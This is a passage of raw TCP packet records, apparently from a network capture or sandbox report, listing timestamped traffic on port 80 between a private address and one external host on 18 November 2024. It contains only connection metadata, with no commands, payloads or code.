Nov 18, 2024 17:23:29.200640917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.200725079 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.200912952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.200963974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201080084 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.201127052 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201179981 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.201214075 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201246977 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201282024 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201297045 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.201349020 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201381922 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201400042 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.201888084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201937914 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.201941013 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201992035 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.201998949 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.202042103 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.202070951 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.202121973 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.202574015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.202609062 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.202644110 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.202656984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.227679014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.227741003 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.227756023 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.227791071 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.227840900 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.274231911 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274265051 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274298906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274313927 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.274357080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274393082 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274408102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.274517059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274549007 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274559975 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.274583101 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.274631023 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.276621103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.276695967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.276727915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.276742935 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.318430901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.318492889 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.318537951 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.318573952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.318617105 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.318675041 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.318707943 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.318742990 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.318752050 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.318981886 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319015026 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319027901 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.319050074 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319093943 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.319185972 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319220066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319253922 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319263935 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.319771051 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319834948 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.319910049 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319961071 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.319993019 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.320008039 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.345103025 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.345163107 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.345307112 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.345340014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.345397949 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.391264915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.391338110 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.391372919 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.391438007 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.391453028 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.391505957 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.391788006 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.391885996 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.391921043 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.391937017 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.391976118 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.392025948 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.393781900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.393834114 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.393862963 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.393879890 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.393912077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.393954039 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.435489893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435591936 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435627937 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435662031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435702085 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435709000 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.435709000 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.435789108 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435821056 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435856104 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.435858965 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.435913086 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.435951948 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.436371088 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.436458111 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.436477900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.436511993 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.436572075 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.436597109 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.436630011 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.436665058 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.436683893 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.437311888 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.437364101 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.437396049 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.437443972 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.437443972 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.462096930 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.462114096 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.462127924 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.462847948 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.508387089 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.508488894 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.508521080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.508554935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.508642912 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.508642912 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.508666992 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.508699894 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.508754969 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.509802103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.509861946 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.509870052 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.509895086 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.510016918 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.513776064 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.513809919 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.513843060 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.513870001 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.564037085 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.568649054 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.568675995 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.568778038 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.568778038 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.568794966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.568945885 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.568962097 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.568977118 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.568999052 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.568999052 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.569211960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.569272995 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.569322109 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.569336891 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.569351912 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.569439888 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.569485903 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.569535017 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.569577932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.569593906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.569660902 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.570153952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.570179939 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.570195913 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.570274115 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.570303917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.570372105 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.580461979 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.580486059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.580499887 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.580938101 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.625612974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.625665903 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.625700951 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.625710011 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.625741005 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.625796080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.625829935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.625864029 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.625864029 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.627151012 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.627223015 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.627249002 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.627280951 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.627332926 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.631119967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.631153107 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.631186008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.631215096 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.673440933 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.685996056 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686052084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686085939 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686172009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686208010 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686255932 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.686255932 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.686321020 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686378002 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.686405897 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686439037 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686495066 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.686851025 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686904907 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686939955 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.686995029 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.687077045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.687108994 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.687143087 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.687170982 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.687175989 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.687186956 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.687908888 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.687942982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.687966108 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.687997103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.688030005 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.688050032 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.688066006 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.688122988 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.697928905 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.697984934 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.698018074 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.698050976 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.742765903 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.742821932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.742854118 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.742887974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.742908001 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.742908001 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.742999077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.743032932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.743051052 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.743098021 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.743233919 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.744189978 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.744245052 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.744277000 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.744302988 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.748069048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.748120070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.748152018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.748179913 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.748651028 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.803272963 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803329945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803399086 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.803416014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803453922 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803487062 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803524971 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803626060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.803626060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.803658962 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803700924 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803733110 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.803774118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.804102898 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804137945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804162025 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.804176092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804256916 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.804261923 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804296970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804352999 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.804486036 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804541111 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804579020 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804595947 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.804728031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804764986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.804771900 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.805068970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.805121899 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.805151939 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.805165052 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.805224895 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.815061092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.815116882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.815135002 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.815165997 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.859922886 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.859975100 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.859985113 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.860008955 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.860029936 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.860125065 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.860143900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.860177994 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.860245943 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.860245943 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.860266924 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.860317945 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.861239910 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.861287117 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.861290932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.861368895 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.861421108 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.861423016 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.865684986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.865740061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.865772009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.865772009 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.865852118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.920317888 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920351982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920406103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920411110 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.920442104 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920475960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920497894 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.920512915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920564890 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.920751095 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920805931 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920838118 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.920866013 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.921241045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921295881 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921298027 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.921331882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921396017 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921397924 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.921431065 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921482086 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.921547890 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921581984 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921637058 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.921688080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921721935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921756983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921789885 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921796083 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.921824932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.921844959 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.921899080 CET	80	49743	185.215.113.16	192.168.2.4
